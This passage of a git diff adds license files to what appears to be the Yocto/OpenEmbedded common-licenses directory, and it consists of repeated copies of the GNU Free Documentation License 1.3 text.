+ K. For any section Entitled "Acknowledgements" or "Dedications", Preserve the Title of the section, and preserve in the section all the substance and tone of each of the contributor acknowledgements and/or dedications given therein.
+ L. Preserve all the Invariant Sections of the Document, unaltered in their text and in their titles. Section numbers or the equivalent are not considered part of the section titles.
+ M. Delete any section Entitled "Endorsements". Such a section may not be included in the Modified Version.
+ N. Do not retitle any existing section to be Entitled "Endorsements" or to conflict in title with any Invariant Section.
+ O. Preserve any Warranty Disclaimers.
+
+If the Modified Version includes new front-matter sections or appendices that qualify as Secondary Sections and contain no material copied from the Document, you may at your option designate some or all of these sections as invariant. To do this, add their titles to the list of Invariant Sections in the Modified Version's license notice. These titles must be distinct from any other section titles.
+
+You may add a section Entitled "Endorsements", provided it contains nothing but endorsements of your Modified Version by various parties--for example, statements of peer review or that the text has been approved by an organization as the authoritative definition of a standard.
+
+You may add a passage of up to five words as a Front-Cover Text, and a passage of up to 25 words as a Back-Cover Text, to the end of the list of Cover Texts in the Modified Version. Only one passage of Front-Cover Text and one of Back-Cover Text may be added by (or through arrangements made by) any one entity. If the Document already includes a cover text for the same cover, previously added by you or by arrangement made by the same entity you are acting on behalf of, you may not add another; but you may replace the old one, on explicit permission from the previous publisher that added the old one.
+
+The author(s) and publisher(s) of the Document do not by this License give permission to use their names for publicity for or to assert or imply endorsement of any Modified Version.
+
+5. COMBINING DOCUMENTS
+
+You may combine the Document with other documents released under this License, under the terms defined in section 4 above for modified versions, provided that you include in the combination all of the Invariant Sections of all of the original documents, unmodified, and list them all as Invariant Sections of your combined work in its license notice, and that you preserve all their Warranty Disclaimers.
+
+The combined work need only contain one copy of this License, and multiple identical Invariant Sections may be replaced with a single copy. If there are multiple Invariant Sections with the same name but different contents, make the title of each such section unique by adding at the end of it, in parentheses, the name of the original author or publisher of that section if known, or else a unique number. Make the same adjustment to the section titles in the list of Invariant Sections in the license notice of the combined work.
+
+In the combination, you must combine any sections Entitled "History" in the various original documents, forming one section Entitled "History"; likewise combine any sections Entitled "Acknowledgements", and any sections Entitled "Dedications". You must delete all sections Entitled "Endorsements".
+
+6. COLLECTIONS OF DOCUMENTS
+
+You may make a collection consisting of the Document and other documents released under this License, and replace the individual copies of this License in the various documents with a single copy that is included in the collection, provided that you follow the rules of this License for verbatim copying of each of the documents in all other respects.
+
+You may extract a single document from such a collection, and distribute it individually under this License, provided you insert a copy of this License into the extracted document, and follow this License in all other respects regarding verbatim copying of that document.
+
+7. AGGREGATION WITH INDEPENDENT WORKS
+
+A compilation of the Document or its derivatives with other separate and independent documents or works, in or on a volume of a storage or distribution medium, is called an "aggregate" if the copyright resulting from the compilation is not used to limit the legal rights of the compilation's users beyond what the individual works permit. When the Document is included in an aggregate, this License does not apply to the other works in the aggregate which are not themselves derivative works of the Document.
+
+If the Cover Text requirement of section 3 is applicable to these copies of the Document, then if the Document is less than one half of the entire aggregate, the Document's Cover Texts may be placed on covers that bracket the Document within the aggregate, or the electronic equivalent of covers if the Document is in electronic form. Otherwise they must appear on printed covers that bracket the whole aggregate.
+
+8. TRANSLATION
+
+Translation is considered a kind of modification, so you may distribute translations of the Document under the terms of section 4. Replacing Invariant Sections with translations requires special permission from their copyright holders, but you may include translations of some or all Invariant Sections in addition to the original versions of these Invariant Sections. You may include a translation of this License, and all the license notices in the Document, and any Warranty Disclaimers, provided that you also include the original English version of this License and the original versions of those notices and disclaimers. In case of a disagreement between the translation and the original version of this License or a notice or disclaimer, the original version will prevail.
+
+If a section in the Document is Entitled "Acknowledgements", "Dedications", or "History", the requirement (section 4) to Preserve its Title (section 1) will typically require changing the actual title.
+
+9. TERMINATION
+
+You may not copy, modify, sublicense, or distribute the Document except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense, or distribute it is void, and will automatically terminate your rights under this License.
+
+However, if you cease all violation of this License, then your license from a particular copyright holder is reinstated (a) provisionally, unless and until the copyright holder explicitly and finally terminates your license, and (b) permanently, if the copyright holder fails to notify you of the violation by some reasonable means prior to 60 days after the cessation.
+
+Moreover, your license from a particular copyright holder is reinstated permanently if the copyright holder notifies you of the violation by some reasonable means, this is the first time you have received notice of violation of this License (for any work) from that copyright holder, and you cure the violation prior to 30 days after your receipt of the notice.
+
+Termination of your rights under this section does not terminate the licenses of parties who have received copies or rights from you under this License. If your rights have been terminated and not permanently reinstated, receipt of a copy of some or all of the same material does not give you any rights to use it.
+
+10. FUTURE REVISIONS OF THIS LICENSE
+
+The Free Software Foundation may publish new, revised versions of the GNU Free Documentation License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. See http://www.gnu.org/copyleft/.
+
+Each version of the License is given a distinguishing version number. If the Document specifies that a particular numbered version of this License "or any later version" applies to it, you have the option of following the terms and conditions either of that specified version or of any later version that has been published (not as a draft) by the Free Software Foundation. If the Document does not specify a version number of this License, you may choose any version ever published (not as a draft) by the Free Software Foundation. If the Document specifies that a proxy can decide which future versions of this License can be used, that proxy's public statement of acceptance of a version permanently authorizes you to choose that version for the Document.
+
+11. RELICENSING
+
+"Massive Multiauthor Collaboration Site" (or "MMC Site") means any World Wide Web server that publishes copyrightable works and also provides prominent facilities for anybody to edit those works. A public wiki that anybody can edit is an example of such a server. A "Massive Multiauthor Collaboration" (or "MMC") contained in the site means any set of copyrightable works thus published on the MMC site.
+
+"CC-BY-SA" means the Creative Commons Attribution-Share Alike 3.0 license published by Creative Commons Corporation, a not-for-profit corporation with a principal place of business in San Francisco, California, as well as future copyleft versions of that license published by that same organization.
+
+"Incorporate" means to publish or republish a Document, in whole or in part, as part of another Document.
+
+An MMC is "eligible for relicensing" if it is licensed under this License, and if all works that were first published under this License somewhere other than this MMC, and subsequently incorporated in whole or in part into the MMC, (1) had no cover texts or invariant sections, and (2) were thus incorporated prior to November 1, 2008.
+
+The operator of an MMC Site may republish an MMC contained in the site under CC-BY-SA on the same site at any time before August 1, 2009, provided the MMC is eligible for relicensing.
+
+ADDENDUM: How to use this License for your documents
+
+To use this License in a document you have written, include a copy of the License in the document and put the following copyright and license notices just after the title page:
+
+ Copyright (c) YEAR YOUR NAME. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, no Front-Cover Texts, and no Back-Cover Texts. A copy of the license is included in the section entitled "GNU Free Documentation License".
+
+If you have Invariant Sections, Front-Cover Texts and Back-Cover Texts, replace the "with...Texts." line with this:
+
+ with the Invariant Sections being LIST THEIR TITLES, with the Front-Cover Texts being LIST, and with the Back-Cover Texts being LIST.
+
+If you have Invariant Sections without Cover Texts, or some other combination of the three, merge those two alternatives to suit the situation.
+
+If your document contains nontrivial examples of program code, we recommend releasing these examples in parallel under your choice of free software license, such as the GNU General Public License, to permit their use in free software.
diff --git a/meta/files/common-licenses/GFDL-1.3-invariants-or-later b/meta/files/common-licenses/GFDL-1.3-invariants-or-later
new file mode 100644
index 0000000000..b51dc2ab16
--- /dev/null
+++ b/meta/files/common-licenses/GFDL-1.3-invariants-or-later
@@ -0,0 +1,149 @@
+GNU Free Documentation License
+Version 1.3, 3 November 2008
+
+Copyright (C) 2000, 2001, 2002, 2007, 2008 Free Software Foundation, Inc. <http://fsf.org/>
+
+Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.
+
+0. PREAMBLE
+
+The purpose of this License is to make a manual, textbook, or other functional and useful document "free" in the sense of freedom: to assure everyone the effective freedom to copy and redistribute it, with or without modifying it, either commercially or noncommercially. Secondarily, this License preserves for the author and publisher a way to get credit for their work, while not being considered responsible for modifications made by others.
+
+This License is a kind of "copyleft", which means that derivative works of the document must themselves be free in the same sense. It complements the GNU General Public License, which is a copyleft license designed for free software.
+
+We have designed this License in order to use it for manuals for free software, because free software needs free documentation: a free program should come with manuals providing the same freedoms that the software does. But this License is not limited to software manuals; it can be used for any textual work, regardless of subject matter or whether it is published as a printed book. We recommend this License principally for works whose purpose is instruction or reference.
+
+1. APPLICABILITY AND DEFINITIONS
+
+This License applies to any manual or other work, in any medium, that contains a notice placed by the copyright holder saying it can be distributed under the terms of this License. Such a notice grants a world-wide, royalty-free license, unlimited in duration, to use that work under the conditions stated herein. The "Document", below, refers to any such manual or work. Any member of the public is a licensee, and is addressed as "you". You accept the license if you copy, modify or distribute the work in a way requiring permission under copyright law.
+
+A "Modified Version" of the Document means any work containing the Document or a portion of it, either copied verbatim, or with modifications and/or translated into another language.
+
+A "Secondary Section" is a named appendix or a front-matter section of the Document that deals exclusively with the relationship of the publishers or authors of the Document to the Document's overall subject (or to related matters) and contains nothing that could fall directly within that overall subject. (Thus, if the Document is in part a textbook of mathematics, a Secondary Section may not explain any mathematics.) The relationship could be a matter of historical connection with the subject or with related matters, or of legal, commercial, philosophical, ethical or political position regarding them.
+
+The "Invariant Sections" are certain Secondary Sections whose titles are designated, as being those of Invariant Sections, in the notice that says that the Document is released under this License. If a section does not fit the above definition of Secondary then it is not allowed to be designated as Invariant. The Document may contain zero Invariant Sections. If the Document does not identify any Invariant Sections then there are none.
+
+The "Cover Texts" are certain short passages of text that are listed, as Front-Cover Texts or Back-Cover Texts, in the notice that says that the Document is released under this License. A Front-Cover Text may be at most 5 words, and a Back-Cover Text may be at most 25 words.
+
+A "Transparent" copy of the Document means a machine-readable copy, represented in a format whose specification is available to the general public, that is suitable for revising the document straightforwardly with generic text editors or (for images composed of pixels) generic paint programs or (for drawings) some widely available drawing editor, and that is suitable for input to text formatters or for automatic translation to a variety of formats suitable for input to text formatters. A copy made in an otherwise Transparent file format whose markup, or absence of markup, has been arranged to thwart or discourage subsequent modification by readers is not Transparent. An image format is not Transparent if used for any substantial amount of text. A copy that is not "Transparent" is called "Opaque".
+
+Examples of suitable formats for Transparent copies include plain ASCII without markup, Texinfo input format, LaTeX input format, SGML or XML using a publicly available DTD, and standard-conforming simple HTML, PostScript or PDF designed for human modification. Examples of transparent image formats include PNG, XCF and JPG. Opaque formats include proprietary formats that can be read and edited only by proprietary word processors, SGML or XML for which the DTD and/or processing tools are not generally available, and the machine-generated HTML, PostScript or PDF produced by some word processors for output purposes only.
+
+The "Title Page" means, for a printed book, the title page itself, plus such following pages as are needed to hold, legibly, the material this License requires to appear in the title page. For works in formats which do not have any title page as such, "Title Page" means the text near the most prominent appearance of the work's title, preceding the beginning of the body of the text.
+
+The "publisher" means any person or entity that distributes copies of the Document to the public.
+
+A section "Entitled XYZ" means a named subunit of the Document whose title either is precisely XYZ or contains XYZ in parentheses following text that translates XYZ in another language. (Here XYZ stands for a specific section name mentioned below, such as "Acknowledgements", "Dedications", "Endorsements", or "History".) To "Preserve the Title" of such a section when you modify the Document means that it remains a section "Entitled XYZ" according to this definition.
+
+The Document may include Warranty Disclaimers next to the notice which states that this License applies to the Document. These Warranty Disclaimers are considered to be included by reference in this License, but only as regards disclaiming warranties: any other implication that these Warranty Disclaimers may have is void and has no effect on the meaning of this License.
+
+2. VERBATIM COPYING
+
+You may copy and distribute the Document in any medium, either commercially or noncommercially, provided that this License, the copyright notices, and the license notice saying this License applies to the Document are reproduced in all copies, and that you add no other conditions whatsoever to those of this License. You may not use technical measures to obstruct or control the reading or further copying of the copies you make or distribute. However, you may accept compensation in exchange for copies. If you distribute a large enough number of copies you must also follow the conditions in section 3.
+
+You may also lend copies, under the same conditions stated above, and you may publicly display copies.
+
+3. COPYING IN QUANTITY
+
+If you publish printed copies (or copies in media that commonly have printed covers) of the Document, numbering more than 100, and the Document's license notice requires Cover Texts, you must enclose the copies in covers that carry, clearly and legibly, all these Cover Texts: Front-Cover Texts on the front cover, and Back-Cover Texts on the back cover. Both covers must also clearly and legibly identify you as the publisher of these copies. The front cover must present the full title with all words of the title equally prominent and visible. You may add other material on the covers in addition. Copying with changes limited to the covers, as long as they preserve the title of the Document and satisfy these conditions, can be treated as verbatim copying in other respects.
+
+If the required texts for either cover are too voluminous to fit legibly, you should put the first ones listed (as many as fit reasonably) on the actual cover, and continue the rest onto adjacent pages.
+
+If you publish or distribute Opaque copies of the Document numbering more than 100, you must either include a machine-readable Transparent copy along with each Opaque copy, or state in or with each Opaque copy a computer-network location from which the general network-using public has access to download using public-standard network protocols a complete Transparent copy of the Document, free of added material. If you use the latter option, you must take reasonably prudent steps, when you begin distribution of Opaque copies in quantity, to ensure that this Transparent copy will remain thus accessible at the stated location until at least one year after the last time you distribute an Opaque copy (directly or through your agents or retailers) of that edition to the public.
+
+It is requested, but not required, that you contact the authors of the Document well before redistributing any large number of copies, to give them a chance to provide you with an updated version of the Document.
+
+4. MODIFICATIONS
+
+You may copy and distribute a Modified Version of the Document under the conditions of sections 2 and 3 above, provided that you release the Modified Version under precisely this License, with the Modified Version filling the role of the Document, thus licensing distribution and modification of the Modified Version to whoever possesses a copy of it. In addition, you must do these things in the Modified Version:
+
+ A. Use in the Title Page (and on the covers, if any) a title distinct from that of the Document, and from those of previous versions (which should, if there were any, be listed in the History section of the Document). You may use the same title as a previous version if the original publisher of that version gives permission.
+ B. List on the Title Page, as authors, one or more persons or entities responsible for authorship of the modifications in the Modified Version, together with at least five of the principal authors of the Document (all of its principal authors, if it has fewer than five), unless they release you from this requirement.
+ C. State on the Title page the name of the publisher of the Modified Version, as the publisher.
+ D. Preserve all the copyright notices of the Document.
+ E. Add an appropriate copyright notice for your modifications adjacent to the other copyright notices.
+ F. Include, immediately after the copyright notices, a license notice giving the public permission to use the Modified Version under the terms of this License, in the form shown in the Addendum below.
+ G. Preserve in that license notice the full lists of Invariant Sections and required Cover Texts given in the Document's license notice. H. Include an unaltered copy of this License.
+ I. Preserve the section Entitled "History", Preserve its Title, and add to it an item stating at least the title, year, new authors, and publisher of the Modified Version as given on the Title Page. If there is no section Entitled "History" in the Document, create one stating the title, year, authors, and publisher of the Document as given on its Title Page, then add an item describing the Modified Version as stated in the previous sentence.
+ J. Preserve the network location, if any, given in the Document for public access to a Transparent copy of the Document, and likewise the network locations given in the Document for previous versions it was based on. These may be placed in the "History" section. You may omit a network location for a work that was published at least four years before the Document itself, or if the original publisher of the version it refers to gives permission.
+ K. For any section Entitled "Acknowledgements" or "Dedications", Preserve the Title of the section, and preserve in the section all the substance and tone of each of the contributor acknowledgements and/or dedications given therein.
+ L. Preserve all the Invariant Sections of the Document, unaltered in their text and in their titles. Section numbers or the equivalent are not considered part of the section titles.
+ M. Delete any section Entitled "Endorsements". Such a section may not be included in the Modified Version.
+ N. Do not retitle any existing section to be Entitled "Endorsements" or to conflict in title with any Invariant Section.
+ O. Preserve any Warranty Disclaimers.
+
+If the Modified Version includes new front-matter sections or appendices that qualify as Secondary Sections and contain no material copied from the Document, you may at your option designate some or all of these sections as invariant. To do this, add their titles to the list of Invariant Sections in the Modified Version's license notice. These titles must be distinct from any other section titles.
+
+You may add a section Entitled "Endorsements", provided it contains nothing but endorsements of your Modified Version by various parties--for example, statements of peer review or that the text has been approved by an organization as the authoritative definition of a standard.
+
+You may add a passage of up to five words as a Front-Cover Text, and a passage of up to 25 words as a Back-Cover Text, to the end of the list of Cover Texts in the Modified Version. Only one passage of Front-Cover Text and one of Back-Cover Text may be added by (or through arrangements made by) any one entity. If the Document already includes a cover text for the same cover, previously added by you or by arrangement made by the same entity you are acting on behalf of, you may not add another; but you may replace the old one, on explicit permission from the previous publisher that added the old one.
+
+The author(s) and publisher(s) of the Document do not by this License give permission to use their names for publicity for or to assert or imply endorsement of any Modified Version.
+
+5. COMBINING DOCUMENTS
+
+You may combine the Document with other documents released under this License, under the terms defined in section 4 above for modified versions, provided that you include in the combination all of the Invariant Sections of all of the original documents, unmodified, and list them all as Invariant Sections of your combined work in its license notice, and that you preserve all their Warranty Disclaimers.
+
+The combined work need only contain one copy of this License, and multiple identical Invariant Sections may be replaced with a single copy. If there are multiple Invariant Sections with the same name but different contents, make the title of each such section unique by adding at the end of it, in parentheses, the name of the original author or publisher of that section if known, or else a unique number. Make the same adjustment to the section titles in the list of Invariant Sections in the license notice of the combined work.
+
+In the combination, you must combine any sections Entitled "History" in the various original documents, forming one section Entitled "History"; likewise combine any sections Entitled "Acknowledgements", and any sections Entitled "Dedications". You must delete all sections Entitled "Endorsements".
+
+6. COLLECTIONS OF DOCUMENTS
+
+You may make a collection consisting of the Document and other documents released under this License, and replace the individual copies of this License in the various documents with a single copy that is included in the collection, provided that you follow the rules of this License for verbatim copying of each of the documents in all other respects.
+
+You may extract a single document from such a collection, and distribute it individually under this License, provided you insert a copy of this License into the extracted document, and follow this License in all other respects regarding verbatim copying of that document.
+
+7. AGGREGATION WITH INDEPENDENT WORKS
+
+A compilation of the Document or its derivatives with other separate and independent documents or works, in or on a volume of a storage or distribution medium, is called an "aggregate" if the copyright resulting from the compilation is not used to limit the legal rights of the compilation's users beyond what the individual works permit. When the Document is included in an aggregate, this License does not apply to the other works in the aggregate which are not themselves derivative works of the Document.
+
+If the Cover Text requirement of section 3 is applicable to these copies of the Document, then if the Document is less than one half of the entire aggregate, the Document's Cover Texts may be placed on covers that bracket the Document within the aggregate, or the electronic equivalent of covers if the Document is in electronic form. Otherwise they must appear on printed covers that bracket the whole aggregate.
+
+8. TRANSLATION
+
+Translation is considered a kind of modification, so you may distribute translations of the Document under the terms of section 4. Replacing Invariant Sections with translations requires special permission from their copyright holders, but you may include translations of some or all Invariant Sections in addition to the original versions of these Invariant Sections. You may include a translation of this License, and all the license notices in the Document, and any Warranty Disclaimers, provided that you also include the original English version of this License and the original versions of those notices and disclaimers. In case of a disagreement between the translation and the original version of this License or a notice or disclaimer, the original version will prevail.
+
+If a section in the Document is Entitled "Acknowledgements", "Dedications", or "History", the requirement (section 4) to Preserve its Title (section 1) will typically require changing the actual title.
+
+9. TERMINATION
+
+You may not copy, modify, sublicense, or distribute the Document except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense, or distribute it is void, and will automatically terminate your rights under this License.
+
+However, if you cease all violation of this License, then your license from a particular copyright holder is reinstated (a) provisionally, unless and until the copyright holder explicitly and finally terminates your license, and (b) permanently, if the copyright holder fails to notify you of the violation by some reasonable means prior to 60 days after the cessation.
+
+Moreover, your license from a particular copyright holder is reinstated permanently if the copyright holder notifies you of the violation by some reasonable means, this is the first time you have received notice of violation of this License (for any work) from that copyright holder, and you cure the violation prior to 30 days after your receipt of the notice.
+
+Termination of your rights under this section does not terminate the licenses of parties who have received copies or rights from you under this License. If your rights have been terminated and not permanently reinstated, receipt of a copy of some or all of the same material does not give you any rights to use it.
+
+10. FUTURE REVISIONS OF THIS LICENSE
+
+The Free Software Foundation may publish new, revised versions of the GNU Free Documentation License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. See http://www.gnu.org/copyleft/.
+
+Each version of the License is given a distinguishing version number. If the Document specifies that a particular numbered version of this License "or any later version" applies to it, you have the option of following the terms and conditions either of that specified version or of any later version that has been published (not as a draft) by the Free Software Foundation. If the Document does not specify a version number of this License, you may choose any version ever published (not as a draft) by the Free Software Foundation. If the Document specifies that a proxy can decide which future versions of this License can be used, that proxy's public statement of acceptance of a version permanently authorizes you to choose that version for the Document.
+
+11. RELICENSING
+
+"Massive Multiauthor Collaboration Site" (or "MMC Site") means any World Wide Web server that publishes copyrightable works and also provides prominent facilities for anybody to edit those works. A public wiki that anybody can edit is an example of such a server. A "Massive Multiauthor Collaboration" (or "MMC") contained in the site means any set of copyrightable works thus published on the MMC site.
+
+"CC-BY-SA" means the Creative Commons Attribution-Share Alike 3.0 license published by Creative Commons Corporation, a not-for-profit corporation with a principal place of business in San Francisco, California, as well as future copyleft versions of that license published by that same organization.
+
+"Incorporate" means to publish or republish a Document, in whole or in part, as part of another Document.
+
+An MMC is "eligible for relicensing" if it is licensed under this License, and if all works that were first published under this License somewhere other than this MMC, and subsequently incorporated in whole or in part into the MMC, (1) had no cover texts or invariant sections, and (2) were thus incorporated prior to November 1, 2008.
+
+The operator of an MMC Site may republish an MMC contained in the site under CC-BY-SA on the same site at any time before August 1, 2009, provided the MMC is eligible for relicensing.
+
+ADDENDUM: How to use this License for your documents
+
+To use this License in a document you have written, include a copy of the License in the document and put the following copyright and license notices just after the title page:
+
+ Copyright (c) YEAR YOUR NAME. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, no Front-Cover Texts, and no Back-Cover Texts. A copy of the license is included in the section entitled "GNU Free Documentation License".
+
+If you have Invariant Sections, Front-Cover Texts and Back-Cover Texts, replace the "with...Texts." line with this:
+
+ with the Invariant Sections being LIST THEIR TITLES, with the Front-Cover Texts being LIST, and with the Back-Cover Texts being LIST.
+
+If you have Invariant Sections without Cover Texts, or some other combination of the three, merge those two alternatives to suit the situation.
+
+If your document contains nontrivial examples of program code, we recommend releasing these examples in parallel under your choice of free software license, such as the GNU General Public License, to permit their use in free software.
diff --git a/meta/files/common-licenses/GFDL-1.3-no-invariants-only b/meta/files/common-licenses/GFDL-1.3-no-invariants-only
new file mode 100644
index 0000000000..b51dc2ab16
--- /dev/null
+++ b/meta/files/common-licenses/GFDL-1.3-no-invariants-only
@@ -0,0 +1,149 @@
+GNU Free Documentation License
+Version 1.3, 3 November 2008
+
+Copyright (C) 2000, 2001, 2002, 2007, 2008 Free Software Foundation, Inc. <http://fsf.org/>
+
+Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.
+
+0. PREAMBLE
+
+The purpose of this License is to make a manual, textbook, or other functional and useful document "free" in the sense of freedom: to assure everyone the effective freedom to copy and redistribute it, with or without modifying it, either commercially or noncommercially. Secondarily, this License preserves for the author and publisher a way to get credit for their work, while not being considered responsible for modifications made by others.
+
+This License is a kind of "copyleft", which means that derivative works of the document must themselves be free in the same sense. It complements the GNU General Public License, which is a copyleft license designed for free software.
+
+We have designed this License in order to use it for manuals for free software, because free software needs free documentation: a free program should come with manuals providing the same freedoms that the software does. But this License is not limited to software manuals; it can be used for any textual work, regardless of subject matter or whether it is published as a printed book. We recommend this License principally for works whose purpose is instruction or reference.
+
+1. APPLICABILITY AND DEFINITIONS
+
+This License applies to any manual or other work, in any medium, that contains a notice placed by the copyright holder saying it can be distributed under the terms of this License. Such a notice grants a world-wide, royalty-free license, unlimited in duration, to use that work under the conditions stated herein. The "Document", below, refers to any such manual or work. Any member of the public is a licensee, and is addressed as "you". You accept the license if you copy, modify or distribute the work in a way requiring permission under copyright law.
+
+A "Modified Version" of the Document means any work containing the Document or a portion of it, either copied verbatim, or with modifications and/or translated into another language.
+
+A "Secondary Section" is a named appendix or a front-matter section of the Document that deals exclusively with the relationship of the publishers or authors of the Document to the Document's overall subject (or to related matters) and contains nothing that could fall directly within that overall subject. (Thus, if the Document is in part a textbook of mathematics, a Secondary Section may not explain any mathematics.) The relationship could be a matter of historical connection with the subject or with related matters, or of legal, commercial, philosophical, ethical or political position regarding them.
+
+The "Invariant Sections" are certain Secondary Sections whose titles are designated, as being those of Invariant Sections, in the notice that says that the Document is released under this License. If a section does not fit the above definition of Secondary then it is not allowed to be designated as Invariant. The Document may contain zero Invariant Sections. If the Document does not identify any Invariant Sections then there are none.
+
+The "Cover Texts" are certain short passages of text that are listed, as Front-Cover Texts or Back-Cover Texts, in the notice that says that the Document is released under this License. A Front-Cover Text may be at most 5 words, and a Back-Cover Text may be at most 25 words.
+
+A "Transparent" copy of the Document means a machine-readable copy, represented in a format whose specification is available to the general public, that is suitable for revising the document straightforwardly with generic text editors or (for images composed of pixels) generic paint programs or (for drawings) some widely available drawing editor, and that is suitable for input to text formatters or for automatic translation to a variety of formats suitable for input to text formatters. A copy made in an otherwise Transparent file format whose markup, or absence of markup, has been arranged to thwart or discourage subsequent modification by readers is not Transparent. An image format is not Transparent if used for any substantial amount of text. A copy that is not "Transparent" is called "Opaque".
+
+Examples of suitable formats for Transparent copies include plain ASCII without markup, Texinfo input format, LaTeX input format, SGML or XML using a publicly available DTD, and standard-conforming simple HTML, PostScript or PDF designed for human modification. Examples of transparent image formats include PNG, XCF and JPG. Opaque formats include proprietary formats that can be read and edited only by proprietary word processors, SGML or XML for which the DTD and/or processing tools are not generally available, and the machine-generated HTML, PostScript or PDF produced by some word processors for output purposes only.
+
+The "Title Page" means, for a printed book, the title page itself, plus such following pages as are needed to hold, legibly, the material this License requires to appear in the title page. For works in formats which do not have any title page as such, "Title Page" means the text near the most prominent appearance of the work's title, preceding the beginning of the body of the text.
+
+The "publisher" means any person or entity that distributes copies of the Document to the public.
+
+A section "Entitled XYZ" means a named subunit of the Document whose title either is precisely XYZ or contains XYZ in parentheses following text that translates XYZ in another language. (Here XYZ stands for a specific section name mentioned below, such as "Acknowledgements", "Dedications", "Endorsements", or "History".) To "Preserve the Title" of such a section when you modify the Document means that it remains a section "Entitled XYZ" according to this definition.
+
+The Document may include Warranty Disclaimers next to the notice which states that this License applies to the Document. These Warranty Disclaimers are considered to be included by reference in this License, but only as regards disclaiming warranties: any other implication that these Warranty Disclaimers may have is void and has no effect on the meaning of this License.
+
+2. VERBATIM COPYING
+
+You may copy and distribute the Document in any medium, either commercially or noncommercially, provided that this License, the copyright notices, and the license notice saying this License applies to the Document are reproduced in all copies, and that you add no other conditions whatsoever to those of this License. You may not use technical measures to obstruct or control the reading or further copying of the copies you make or distribute. However, you may accept compensation in exchange for copies. If you distribute a large enough number of copies you must also follow the conditions in section 3.
+
+You may also lend copies, under the same conditions stated above, and you may publicly display copies.
+
+3. COPYING IN QUANTITY
+
+If you publish printed copies (or copies in media that commonly have printed covers) of the Document, numbering more than 100, and the Document's license notice requires Cover Texts, you must enclose the copies in covers that carry, clearly and legibly, all these Cover Texts: Front-Cover Texts on the front cover, and Back-Cover Texts on the back cover. Both covers must also clearly and legibly identify you as the publisher of these copies. The front cover must present the full title with all words of the title equally prominent and visible. You may add other material on the covers in addition. Copying with changes limited to the covers, as long as they preserve the title of the Document and satisfy these conditions, can be treated as verbatim copying in other respects.
+
+If the required texts for either cover are too voluminous to fit legibly, you should put the first ones listed (as many as fit reasonably) on the actual cover, and continue the rest onto adjacent pages.
+
+If you publish or distribute Opaque copies of the Document numbering more than 100, you must either include a machine-readable Transparent copy along with each Opaque copy, or state in or with each Opaque copy a computer-network location from which the general network-using public has access to download using public-standard network protocols a complete Transparent copy of the Document, free of added material. If you use the latter option, you must take reasonably prudent steps, when you begin distribution of Opaque copies in quantity, to ensure that this Transparent copy will remain thus accessible at the stated location until at least one year after the last time you distribute an Opaque copy (directly or through your agents or retailers) of that edition to the public.
+
+It is requested, but not required, that you contact the authors of the Document well before redistributing any large number of copies, to give them a chance to provide you with an updated version of the Document.
+
+4. MODIFICATIONS
+
+You may copy and distribute a Modified Version of the Document under the conditions of sections 2 and 3 above, provided that you release the Modified Version under precisely this License, with the Modified Version filling the role of the Document, thus licensing distribution and modification of the Modified Version to whoever possesses a copy of it. In addition, you must do these things in the Modified Version:
+
+ A. Use in the Title Page (and on the covers, if any) a title distinct from that of the Document, and from those of previous versions (which should, if there were any, be listed in the History section of the Document). You may use the same title as a previous version if the original publisher of that version gives permission.
+ B. List on the Title Page, as authors, one or more persons or entities responsible for authorship of the modifications in the Modified Version, together with at least five of the principal authors of the Document (all of its principal authors, if it has fewer than five), unless they release you from this requirement.
+ C. State on the Title page the name of the publisher of the Modified Version, as the publisher.
+ D. Preserve all the copyright notices of the Document.
+ E. Add an appropriate copyright notice for your modifications adjacent to the other copyright notices.
+ F. Include, immediately after the copyright notices, a license notice giving the public permission to use the Modified Version under the terms of this License, in the form shown in the Addendum below.
+ G. Preserve in that license notice the full lists of Invariant Sections and required Cover Texts given in the Document's license notice. H. Include an unaltered copy of this License.
+ I. Preserve the section Entitled "History", Preserve its Title, and add to it an item stating at least the title, year, new authors, and publisher of the Modified Version as given on the Title Page. If there is no section Entitled "History" in the Document, create one stating the title, year, authors, and publisher of the Document as given on its Title Page, then add an item describing the Modified Version as stated in the previous sentence.
+ J. Preserve the network location, if any, given in the Document for public access to a Transparent copy of the Document, and likewise the network locations given in the Document for previous versions it was based on. These may be placed in the "History" section. You may omit a network location for a work that was published at least four years before the Document itself, or if the original publisher of the version it refers to gives permission.
+ K. For any section Entitled "Acknowledgements" or "Dedications", Preserve the Title of the section, and preserve in the section all the substance and tone of each of the contributor acknowledgements and/or dedications given therein.
+ L. Preserve all the Invariant Sections of the Document, unaltered in their text and in their titles. Section numbers or the equivalent are not considered part of the section titles.
+ M. Delete any section Entitled "Endorsements". Such a section may not be included in the Modified Version.
+ N. Do not retitle any existing section to be Entitled "Endorsements" or to conflict in title with any Invariant Section.
+ O. Preserve any Warranty Disclaimers.
+
+If the Modified Version includes new front-matter sections or appendices that qualify as Secondary Sections and contain no material copied from the Document, you may at your option designate some or all of these sections as invariant. To do this, add their titles to the list of Invariant Sections in the Modified Version's license notice. These titles must be distinct from any other section titles.
+
+You may add a section Entitled "Endorsements", provided it contains nothing but endorsements of your Modified Version by various parties--for example, statements of peer review or that the text has been approved by an organization as the authoritative definition of a standard.
+
+You may add a passage of up to five words as a Front-Cover Text, and a passage of up to 25 words as a Back-Cover Text, to the end of the list of Cover Texts in the Modified Version. Only one passage of Front-Cover Text and one of Back-Cover Text may be added by (or through arrangements made by) any one entity. If the Document already includes a cover text for the same cover, previously added by you or by arrangement made by the same entity you are acting on behalf of, you may not add another; but you may replace the old one, on explicit permission from the previous publisher that added the old one.
+
+The author(s) and publisher(s) of the Document do not by this License give permission to use their names for publicity for or to assert or imply endorsement of any Modified Version.
+
+5. COMBINING DOCUMENTS
+
+You may combine the Document with other documents released under this License, under the terms defined in section 4 above for modified versions, provided that you include in the combination all of the Invariant Sections of all of the original documents, unmodified, and list them all as Invariant Sections of your combined work in its license notice, and that you preserve all their Warranty Disclaimers.
+
